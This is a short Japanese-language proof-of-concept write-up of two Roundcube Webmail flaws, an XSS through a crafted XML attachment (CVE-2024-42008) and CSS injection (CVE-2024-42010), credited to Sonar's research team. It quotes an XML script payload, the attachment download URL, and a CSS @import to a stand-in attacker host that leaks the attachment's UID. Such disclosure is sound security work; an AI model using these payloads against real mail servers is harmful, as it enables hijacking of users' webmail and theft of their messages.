
この概念実証(PoC)は、CSSインジェクションとクロスサイトスクリプティング(XSS)を可能にする、Roundcube Webmail の2つの脆弱性の悪用を実証します。攻撃は2つの段階で構成されます:
悪意のあるXML添付ファイルによるXSS(CVE-2024-42008)
ファイルアップロードのチェックが不十分なため、JavaScriptコードを含むXMLファイルを添付ファイルとして送信できます。例:
<something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
alert(origin)
</something:script>
これは既知の問題であり、CVE-2020-13965 として追跡されていました。緩和策は「添付ファイルを開く」オプションを無効にすることでした。しかし、このファイルは次のエンドポイントから依然としてアクセス可能です。
https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
ここで UID は、この特定のメールボックス(すなわち INBOX)内のこの特定の添付ファイルの一意の識別子です。

CSSインジェクションによるHTMLの外部流出(CVE-2024-42010)
メールを送信する際、a で始まるドメインでホストされている場合、独自のCSSファイルを注入することが可能です。これと、脆弱な Roundcube ホストからのリクエストを処理する JavaScript サーバーファイルを通じて、悪意のある XSS 添付ファイルの UID を抽出することが可能です。
送信するメールに以下のCSSをインポートします:
<style>
@import "//a.attackerdomain.com/start?"
</style>
悪意のある添付ファイルのUIDを外部に送信するJSサーバー(roundcube-css-exploit.js)をホストします。

攻撃チェーン
出典: 政府機関のメールが危険にさらされる: Roundcube Webmail の重大なクロスサイトスクリプティング脆弱性 (Sonar 脆弱性研究チーム)